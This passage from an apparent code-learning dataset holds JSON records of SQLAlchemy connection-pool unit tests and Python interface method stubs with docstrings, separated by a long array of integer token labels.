"index": 945 }, { "content": " @testing.requires.timing_intensive\n def test_timeout(self):\n p = self._queuepool_fixture(pool_size=3,\n max_overflow=0,\n timeout=2)\n c1 = p.connect()\n c2 = p.connect()\n c3 = p.connect()\n now = time.time()\n try:\n c4 = p.connect()\n assert False\n except tsa.exc.TimeoutError:\n assert int(time.time() - now) == 2", "metadata": "root.QueuePoolTest.test_timeout", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 994 }, { "content": " def test_overflow_reset_on_failed_connect(self):\n dbapi = Mock()\n\n def failing_dbapi():\n time.sleep(2)\n raise Exception(\"connection failed\")\n\n creator = dbapi.connect\n\n def create():\n return creator()\n\n p = pool.QueuePool(creator=create, pool_size=2, max_overflow=3)\n c1 = self._with_teardown(p.connect())\n c2 = self._with_teardown(p.connect())\n c3 = self._with_teardown(p.connect())\n eq_(p._overflow, 1)\n creator = failing_dbapi\n assert_raises(Exception, p.connect)\n eq_(p._overflow, 1)", "metadata": "root.QueuePoolTest.test_overflow_reset_on_failed_connect", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1091 }, { "content": " @testing.requires.threading_with_mock\n @testing.requires.timing_intensive\n def test_waiters_handled(self):\n \"\"\"test that threads waiting for connections are\n handled when the pool is replaced.\n\n \"\"\"\n mutex = threading.Lock()\n dbapi = MockDBAPI()\n\n def creator():\n mutex.acquire()\n try:\n return dbapi.connect()\n finally:\n mutex.release()\n\n success = []\n for timeout in (None, 30):\n for max_overflow in (0, -1, 3):\n p = pool.QueuePool(creator=creator,\n pool_size=2, timeout=timeout,\n max_overflow=max_overflow)\n\n def waiter(p, timeout, max_overflow):\n success_key = (timeout, max_overflow)\n conn = p.connect()\n success.append(success_key)\n time.sleep(.1)\n conn.close()\n\n c1 = p.connect()\n c2 = p.connect()\n\n threads = []\n for i in range(2):\n t = threading.Thread(target=waiter,\n args=(p, timeout, max_overflow))\n t.daemon = True\n t.start()\n threads.append(t)\n\n # this sleep makes sure that the\n # two waiter threads hit upon wait()\n # inside the queue, before we invalidate the other\n # two conns\n time.sleep(.2)\n p._invalidate(c2)\n\n for t in threads:\n t.join(join_timeout)\n\n eq_(len(success), 12, \"successes: %s\" % success)", "metadata": "root.QueuePoolTest.test_waiters_handled", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1173 }, { "content": " def test_mixed_close(self):\n pool._refs.clear()\n p = self._queuepool_fixture(pool_size=3, max_overflow=-1,\n use_threadlocal=True)\n c1 = p.connect()\n c2 = p.connect()\n assert c1 is c2\n c1.close()\n c2 = None\n assert p.checkedout() == 1\n c1 = None\n lazy_gc()\n assert p.checkedout() == 0\n lazy_gc()\n assert not pool._refs", "metadata": "root.QueuePoolTest.test_mixed_close", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1348 }, { "content": " def _assert_cleanup_on_pooled_reconnect(self, dbapi, p):\n # p is QueuePool with size=1, max_overflow=2,\n # and one connection in the pool that will need to\n # reconnect when next used (either due to recycle or invalidate)\n\n with self._no_wr_finalize():\n eq_(p.checkedout(), 0)\n eq_(p._overflow, 0)\n dbapi.shutdown(True)\n assert_raises(\n Exception,\n p.connect\n )\n eq_(p._overflow, 0)\n eq_(p.checkedout(), 0) # and not 1\n\n dbapi.shutdown(False)\n\n c1 = self._with_teardown(p.connect())\n assert p._pool.empty() # poolsize is one, so we're empty OK\n c2 = self._with_teardown(p.connect())\n eq_(p._overflow, 1) # and not 2\n\n # this hangs if p._overflow is 2\n c3 = self._with_teardown(p.connect())", "metadata": "root.QueuePoolTest._assert_cleanup_on_pooled_reconnect", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1501 }, { "content": " @testing.requires.timing_intensive\n def test_recycle_pool_no_race(self):\n def slow_close():\n slow_closing_connection._slow_close()\n time.sleep(.5)\n\n slow_closing_connection = Mock()\n slow_closing_connection.connect.return_value.close = slow_close\n\n class Error(Exception):\n pass\n\n dialect = Mock()\n dialect.is_disconnect = lambda *arg, **kw: True\n dialect.dbapi.Error = Error\n\n pools = []\n\n class TrackQueuePool(pool.QueuePool):\n def __init__(self, *arg, **kw):\n pools.append(self)\n super(TrackQueuePool, self).__init__(*arg, **kw)\n\n def creator():\n return slow_closing_connection.connect()\n p1 = TrackQueuePool(creator=creator, pool_size=20)\n\n from sqlalchemy import create_engine\n eng = create_engine(testing.db.url, pool=p1, _initialize=False)\n eng.dialect = dialect\n\n # 15 total connections\n conns = [eng.connect() for i in range(15)]\n\n # return 8 back to the pool\n for conn in conns[3:10]:\n conn.close()\n\n def attempt(conn):\n time.sleep(random.random())\n try:\n conn._handle_dbapi_exception(Error(), \"statement\", {},\n Mock(), Mock())\n except tsa.exc.DBAPIError:\n pass\n\n # run an error + invalidate operation on the remaining 7 open\n #connections\n threads = []\n for conn in conns:\n t = threading.Thread(target=attempt, args=(conn, ))\n t.start()\n threads.append(t)\n\n for t in threads:\n t.join()\n\n # return all 15 connections to the pool\n for conn in conns:\n conn.close()\n\n # re-open 15 total connections\n conns = [eng.connect() for i in range(15)]\n\n # 15 connections have been fully closed due to invalidate\n assert slow_closing_connection._slow_close.call_count == 15\n\n # 15 initial connections + 15 reconnections\n assert slow_closing_connection.connect.call_count == 30\n assert len(pools) <= 2, len(pools)", "metadata": "root.QueuePoolTest.test_recycle_pool_no_race", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1649 }, { "content": " def test_detach(self):\n dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=0)\n c1 = p.connect()\n c1.detach()\n c2 = p.connect()\n eq_(dbapi.connect.mock_calls, [call(\"foo.db\"), call(\"foo.db\")])\n\n c1_con = c1.connection\n assert c1_con is not None\n eq_(c1_con.close.call_count, 0)\n c1.close()\n eq_(c1_con.close.call_count, 1)", "metadata": "root.QueuePoolTest.test_detach", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1760 }, { "content": " def test_connect_error(self):\n dbapi = MockDBAPI()\n p = pool.AssertionPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n assert_raises(AssertionError, p.connect)", "metadata": "root.AssertionPoolTest.test_connect_error", "header": "['class', 'AssertionPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1948 }, { "content": " def test_connect_multiple(self):\n dbapi = MockDBAPI()\n p = pool.AssertionPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n c1.close()\n c2 = p.connect()\n c2.close()\n\n c3 = p.connect()\n assert_raises(AssertionError, p.connect)", "metadata": "root.AssertionPoolTest.test_connect_multiple", "header": "['class', 'AssertionPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1954 }, { "content": " def test_reconnect(self):\n dbapi = MockDBAPI()\n p = pool.NullPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n\n c1.close()\n c1 = None\n\n c1 = p.connect()\n c1.invalidate()\n c1 = None\n\n c1 = p.connect()\n dbapi.connect.assert_has_calls([\n call('foo.db'),\n call('foo.db')],\n any_order=True)", "metadata": "root.NullPoolTest.test_reconnect", "header": "['class', 'NullPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1967 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]

[ { "content": "\tdef __contains__( other ):\n\t\t\"\"\"Determine whether object contains other\"\"\"", "metadata": "root.IObjectContains.__contains__", "header": "['class', 'IObjectContains', '(', 'Interface', ')', ':', '___EOS___']", "index": 19 }, { "content": "\tdef __eq__( other ):\n\t\t\"\"\"Determine whether object == other\"\"\"", "metadata": "root.IObjectEq.__eq__", "header": "['class', 'IObjectEq', '(', 'Interface', ')', ':', '___EOS___']", "index": 27 }, { "content": "\tdef __ne__( other ):\n\t\t\"\"\"Determine whether object != other\"\"\"", "metadata": "root.IObjectNe.__ne__", "header": "['class', 'IObjectNe', '(', 'Interface', ')', ':', '___EOS___']", "index": 34 }, { "content": "\tdef __getitem__( key ):\n\t\t\"\"\"Get sub-item by key or index\"\"\"", "metadata": "root.IObjectGetItem.__getitem__", "header": "['class', 'IObjectGetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 53 }, { "content": "\tdef __setitem__( key, other ):\n\t\t\"\"\"Set sub-item by key or index\"\"\"", "metadata": "root.IObjectSetItem.__setitem__", "header": "['class', 'IObjectSetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 57 }, { "content": "\tdef __delitem__( key ):\n\t\t\"\"\"Delete sub-item by key or index\"\"\"", "metadata": "root.IObjectDelItem.__delitem__", "header": "['class', 'IObjectDelItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 61 }, { "content": "\tdef __len__( ):\n\t\t\"\"\"Return the length as an integer or long\"\"\"", "metadata": "root.IObjectLength.__len__", "header": "['class', 'IObjectLength', '(', 'Interface', ')', ':', '___EOS___']", "index": 66 }, { "content": "\tdef __nonzero__( ):\n\t\t\"\"\"Determine if the object is True (not False)\"\"\"", "metadata": "root.IObjectNonZero.__nonzero__", "header": "['class', 'IObjectNonZero', '(', 'Interface', ')', ':', '___EOS___']", "index": 73 }, { "content": "\tdef __hash__( ):\n\t\t\"\"\"Return the hash as an integer\"\"\"", "metadata": "root.IObjectHash.__hash__", "header": "['class', 'IObjectHash', '(', 'Interface', ')', ':', '___EOS___']", "index": 78 }, { "content": "\tdef __iter__():\n\t\t\"\"\"Return an iterator for the items of this object\"\"\"", "metadata": "root.IObjectIter.__iter__", "header": "['class', 'IObjectIter', '(', 'Interface', ')', ':', '___EOS___']", "index": 83 }, { "content": "\tdef __getstate__():\n\t\t\"\"\"Retrieve an object representing the current state\"\"\"", "metadata": "root.IPickleGetState.__getstate__", "header": "['class', 'IPickleGetState', '(', 'Interface', ')', ':', '___EOS___']", "index": 96 }, { "content": "\tdef __setstate__(state):\n\t\t\"\"\"Initialize the object from the given state\"\"\"", "metadata": "root.IPickleSetState.__setstate__", "header": "['class', 'IPickleSetState', '(', 'Interface', ')', ':', '___EOS___']", "index": 100 }, { "content": "\tdef __getinitargs__():\n\t\t\"\"\"Retrieve initialization arguments to re-create current state\"\"\"", "metadata": "root.IPickleGetInitArgs.__getinitargs__", "header": "['class', 'IPickleGetInitArgs', '(', 'Interface', ')', ':', '___EOS___']", "index": 104 }, { "content": "\tdef __copy__():\n\t\t\"\"\"Return a shallow copy of the object\"\"\"", "metadata": "root.ICopyCopy.__copy__", "header": "['class', 'ICopyCopy', '(', 'ICopyable', ')', ':', '___EOS___']", "index": 114 }, { "content": "\tdef __deepcopy__(memory):\n\t\t\"\"\"Return a deep copy of the object\n\n\t\tmemory -- dictionary of already-copied elements\n\t\t\"\"\"", "metadata": "root.ICopyDeepCopy.__deepcopy__", "header": "['class', 'ICopyDeepCopy', '(', 'IDeepCopyable', ')', ':', '___EOS___']", "index": 120 }, { "content": "\tdef __getitem__( index ):\n\t\t\"\"\"Get sub-item by index\"\"\"", "metadata": "root.ISequenceGetItem.__getitem__", "header": "['class', 'ISequenceGetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 133 }, { "content": "\tdef __setitem__( index, other ):\n\t\t\"\"\"Set sub-item by index\"\"\"", "metadata": "root.ISequenceSetItem.__setitem__", "header": "['class', 'ISequenceSetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 137 }, { "content": "\tdef __delitem__( index ):\n\t\t\"\"\"Delete sub-item by index\"\"\"", "metadata": "root.ISequenceDelItem.__delitem__", "header": "['class', 'ISequenceDelItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 141 }, { "content": "\tdef __getslice__( start, stop):\n\t\t\"\"\"Get sub-items by index-range\"\"\"", "metadata": "root.ISequenceGetSlice.__getslice__", "header": "['class', 'ISequenceGetSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 146 }, { "content": "\tdef __setslice__( start, stop, other):\n\t\t\"\"\"Set sub-items by index-range\"\"\"", "metadata": "root.ISequenceSetSlice.__setslice__", "header": "['class', 'ISequenceSetSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 150 }, { "content": "\tdef __delslice__( start, stop):\n\t\t\"\"\"Delete sub-items by index-range\"\"\"", "metadata": "root.ISequenceDelSlice.__delslice__", "header": "['class', 'ISequenceDelSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 154 }, { "content": "\tdef append( item):\n\t\t\"\"\"Append the particular item to the sequence\"\"\"", "metadata": "root.ISequenceAppend.append", "header": "['class', 'ISequenceAppend', '(', 'Interface', ')', ':', '___EOS___']", "index": 159 }, { "content": "\tdef count(item):\n\t\t\"\"\"Return the number of occurrences of the item in the sequence\"\"\"", "metadata": "root.ISequenceCount.count", "header": "['class', 'ISequenceCount', '(', 'Interface', ')', ':', '___EOS___']", "index": 163 }, { "content": "\tdef extend(other):\n\t\t\"\"\"Extend this sequence with the other sequence\"\"\"", "metadata": "root.ISequenceExtend.extend", "header": "['class', 'ISequenceExtend', '(', 'Interface', ')', ':', '___EOS___']", "index": 167 }, { "content": "\tdef index(item):\n\t\t\"\"\"Return integer index of first occurrence of item in sequence\"\"\"", "metadata": "root.ISequenceIndex.index", "header": "['class', 'ISequenceIndex', '(', 'Interface', ')', ':', '___EOS___']", "index": 171 }, { "content": "\tdef insert(index, item):\n\t\t\"\"\"Insert the given item at the given index\n\n\t\t(sequence[index] should be item afterward)\n\t\t\"\"\"", "metadata": "root.ISequenceInsert.insert", "header": "['class', 'ISequenceInsert', '(', 'Interface', ')', ':', '___EOS___']", "index": 178 }, { "content": "\tdef remove(item):\n\t\t\"\"\"Remove the first instance of the given item from sequence\"\"\"", "metadata": "root.ISequenceRemove.remove", "header": "['class', 'ISequenceRemove', '(', 'Interface', ')', ':', '___EOS___']", "index": 185 }, { "content": "\tdef reverse():\n\t\t\"\"\"Reverse the sequence's order in-place\"\"\"", "metadata": "root.ISequenceReverse.reverse", "header": "['class', 'ISequenceReverse', '(', 'Interface', ')', ':', '___EOS___']", "index": 189 }, { "content": "\tdef sort(function = None):\n\t\t\"\"\"Sort the sequence in-place\n\n\t\tfunction -- if specified, the comparison function\n\t\t\tto use for sorting, otherwise cmp\n\t\t\"\"\"", "metadata": "root.ISequenceSort.sort", "header": "['class', 'ISequenceSort', '(', 'Interface', ')', ':', '___EOS___']", "index": 193 }, { "content": "\tdef pop():\n\t\t\"\"\"Remove and return the last item of the sequence\"\"\"", "metadata": "root.ISequencePop.pop", "header": "['class', 'ISequencePop', '(', 'Interface', ')', ':', '___EOS___']", "index": 201 }, { "content": "\tdef pop(index =-1):\n\t\t\"\"\"Remove and return the given item from the sequence\"\"\"", "metadata": "root.ISequencePopAny.pop", "header": "['class', 'ISequencePopAny', '(', 'Interface', ')', ':', '___EOS___']", "index": 205 }, { "content": "\tdef __iter__():\n\t\t\"\"\"Return the object itself to allow for x in Iterator operation\"\"\"", "metadata": "root.IIterator.__iter__", "header": "['class', 'IIterator', '(', 'Interface', ')', ':', '___EOS___']", "index": 211 }, { "content": "\tdef next():\n\t\t\"\"\"Return the next item in the sequence\"\"\"", "metadata": "root.IIterator.next", "header": "['class', 'IIterator', '(', 'Interface', ')', ':', '___EOS___']", "index": 213 }, { "content": "\tdef join(sequence):\n\t\t\"\"\"Return texts within sequence joined by this text\"\"\"", "metadata": "root.ITextJoin.join", "header": "['class', 'ITextJoin', '(', 'Interface', ')', ':', '___EOS___']", "index": 220 }, { "content": "\tdef split(substring, maximum=None):\n\t\t\"\"\"Return text intervals between instances of substring in text\"\"\"", "metadata": "root.ITextSplit.split", "header": "['class', 'ITextSplit', '(', 'Interface', ')', ':', '___EOS___']", "index": 224 }, { "content": "\tdef replace(old, new, maximum = None):\n\t\t\"\"\"Return text with instances of old substring replaced by new substring\n\n\t\tmaximum -- if specified, limits total number of substitutions\n\t\t\"\"\"", "metadata": "root.ITextReplace.replace", "header": "['class', 'ITextReplace', '(', 'Interface', ')', ':', '___EOS___']", "index": 228 }, { "content": "\tdef splitlines(keepends= 0):\n\t\t\"\"\"Return text intervals between newline characters\n\n\t\tkeepends -- if true, retain the newline characters\n\t\t\tas part of the intervals (lines)\n\t\t\"\"\"", "metadata": "root.ITextSplitLines.splitlines", "header": "['class', 'ITextSplitLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 235 }, { "content": "\tdef capitalize():\n\t\t\"\"\"Return copy of text with the first characters capitalized\"\"\"", "metadata": "root.ITextCapitalize.capitalize", "header": "['class', 'ITextCapitalize', '(', 'Interface', ')', ':', '___EOS___']", "index": 245 }, { "content": "\tdef center(width):\n\t\t\"\"\"Return copy of text centered in string of given width\"\"\"", "metadata": "root.ITextCenterAlign.center", "header": "['class', 'ITextCenterAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 249 }, { "content": "\tdef rjust(width):\n\t\t\"\"\"Return copy of text right-aligned in string of given width\"\"\"", "metadata": "root.ITextRightAlign.rjust", "header": "['class', 'ITextRightAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 253 }, { "content": "\tdef ljust(width):\n\t\t\"\"\"Return copy of text left-aligned in string of given width\"\"\"", "metadata": "root.ITextLeftAlign.ljust", "header": "['class', 'ITextLeftAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 257 }, { "content": "\tdef zfill(width):\n\t\t\"\"\"Return copy of text left-zero-padded in string of given width\"\"\"", "metadata": "root.ITextZeroFill.zfill", "header": "['class', 'ITextZeroFill', '(', 'Interface', ')', ':', '___EOS___']", "index": 261 }, { "content": "\tdef translate(table, toDelete=\"\"):\n\t\t\"\"\"Return copy of text translated via table with to toDelete characters removed\"\"\"", "metadata": "root.ITextTranslate.translate", "header": "['class', 'ITextTranslate', '(', 'Interface', ')', ':', '___EOS___']", "index": 266 }, { "content": "\tdef expandtabs( tabsize = 8 ):\n\t\t\"\"\"Return copy of text with tabs expanded to tabsize spaces\"\"\"", "metadata": "root.ITextExpandTabs.expandtabs", "header": "['class', 'ITextExpandTabs', '(', 'Interface', ')', ':', '___EOS___']", "index": 271 }, { "content": "\tdef upper():\n\t\t\"\"\"Return a copy of text in all uppercase\"\"\"", "metadata": "root.ITextCaseUpper.upper", "header": "['class', 'ITextCaseUpper', '(', 'Interface', ')', ':', '___EOS___']", "index": 277 }, { "content": "\tdef lower():\n\t\t\"\"\"Return a copy of text in all lowercase\"\"\"", "metadata": "root.ITextCaseLower.lower", "header": "['class', 'ITextCaseLower', '(', 'Interface', ')', ':', '___EOS___']", "index": 281 }, { "content": "\tdef swapcase():\n\t\t\"\"\"Return a copy of text with case of all characters swapped\"\"\"", "metadata": "root.ITextCaseSwap.swapcase", "header": "['class', 'ITextCaseSwap', '(', 'Interface', ')', ':', '___EOS___']", "index": 285 }, { "content": "\tdef title():\n\t\t\"\"\"Return a copy of text in title-case\"\"\"", "metadata": "root.ITextCaseTitle.title", "header": "['class', 'ITextCaseTitle', '(', 'Interface', ')', ':', '___EOS___']", "index": 289 }, { "content": "\tdef lstrip(whitespace = None):\n\t\t\"\"\"Return copy of text with leftmost whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStripLeft.lstrip", "header": "['class', 'ITextStripLeft', '(', 'Interface', ')', ':', '___EOS___']", "index": 295 }, { "content": "\tdef rstrip(whitespace = None):\n\t\t\"\"\"Return copy of text with rightmost whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStripRight.rstrip", "header": "['class', 'ITextStripRight', '(', 'Interface', ')', ':', '___EOS___']", "index": 303 }, { "content": "\tdef strip(whitespace = None):\n\t\t\"\"\"Return copy of text with leading and trailing whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStrip.strip", "header": "['class', 'ITextStrip', '(', 'Interface', ')', ':', '___EOS___']", "index": 311 }, { "content": "\tdef decode(encoding = None, errors = \"strict\"):\n\t\t\"\"\"Decode text using the codec registered for encoding.\n\n\t\tencoding defaults to the default encoding. errors may be given\n\t\tto set a different error handling scheme. Default is 'strict'\n\t\tmeaning that encoding errors raise a ValueError. Other possible\n\t\tvalues are 'ignore' and 'replace'.\n\t\t\"\"\"", "metadata": "root.ITextDecode.decode", "header": "['class', 'ITextDecode', '(', 'Interface', ')', ':', '___EOS___']", "index": 320 }, { "content": "\tdef encode(encoding = None, errors = \"strict\"):\n\t\t\"\"\"Encode text using the codec registered for encoding.\n\n\t\tencoding defaults to the default encoding. errors may be given\n\t\tto set a different error handling scheme. Default is 'strict'\n\t\tmeaning that encoding errors raise a ValueError. Other possible\n\t\tvalues are 'ignore' and 'replace'.\n\t\t\"\"\"", "metadata": "root.ITextEncode.encode", "header": "['class', 'ITextEncode', '(', 'Interface', ')', ':', '___EOS___']", "index": 330 }, { "content": "\tdef startswith( prefix, start = 0, end = sys.maxint):\n\t\t\"\"\"Return true if the text (in the given slice) starts with the given suffix \"\"\"", "metadata": "root.ITextStartsWith.startswith", "header": "['class', 'ITextStartsWith', '(', 'Interface', ')', ':', '___EOS___']", "index": 341 }, { "content": "\tdef endswith( suffix, start = 0, end = sys.maxint):\n\t\t\"\"\"Return true if the text (in the given slice) ends with the given suffix \"\"\"", "metadata": "root.ITextEndsWith.endswith", "header": "['class', 'ITextEndsWith', '(', 'Interface', ')', ':', '___EOS___']", "index": 345 }, { "content": "\tdef count( sub, start= 0, end=sys.maxint):\n\t\t\"\"\"Count the number of occurrences of substring in given slice\"\"\"", "metadata": "root.ITextCount.count", "header": "['class', 'ITextCount', '(', 'ISequenceCount', ')', ':', '___EOS___']", "index": 349 }, { "content": "\tdef find( sub, start = 0, end =sys.maxint):\n\t\t\"\"\"Return lowest index where substring found in slice, -1 if not found\"\"\"", "metadata": "root.ITextFind.find", "header": "['class', 'ITextFind', '(', 'Interface', ')', ':', '___EOS___']", "index": 353 }, { "content": "\tdef index(sub, start=0, end= sys.maxint):\n\t\t\"\"\"Return lowest index where substring found in slice, ValueError if not found\"\"\"", "metadata": "root.ITextIndex.index", "header": "['class', 'ITextIndex', '(', 'ISequenceIndex', ')', ':', '___EOS___']", "index": 357 }, { "content": "\tdef rfind( sub, start = 0, end =sys.maxint):\n\t\t\"\"\"Return highest index where substring found in slice, -1 if not found\"\"\"", "metadata": "root.ITextFindRight.rfind", "header": "['class', 'ITextFindRight', '(', 'Interface', ')', ':', '___EOS___']", "index": 361 }, { "content": "\tdef rindex(sub, start=0, end= sys.maxint):\n\t\t\"\"\"Return highest index where substring found in slice, ValueError if not found\"\"\"", "metadata": "root.ITextIndexRight.rindex", "header": "['class', 'ITextIndexRight', '(', 'ISequenceIndex', ')', ':', '___EOS___']", "index": 365 }, { "content": "\tdef isalnum():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely alphanumeric\"\"\"", "metadata": "root.ITextIsAlphaNumeric.isalnum", "header": "['class', 'ITextIsAlphaNumeric', '(', 'Interface', ')', ':', '___EOS___']", "index": 370 }, { "content": "\tdef isalpha():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely alphabetic\"\"\"", "metadata": "root.ITextIsAlpha.isalpha", "header": "['class', 'ITextIsAlpha', '(', 'Interface', ')', ':', '___EOS___']", "index": 374 }, { "content": "\tdef isdigit():\n\t\t\"\"\"Return whether text is entirely composed of digit characters\"\"\"", "metadata": "root.ITextIsDigit.isdigit", "header": "['class', 'ITextIsDigit', '(', 'Interface', ')', ':', '___EOS___']", "index": 378 }, { "content": "\tdef isdigit():\n\t\t\"\"\"Return whether text is entirely composed of numeric characters\"\"\"", "metadata": "root.ITextIsNumeric.isdigit", "header": "['class', 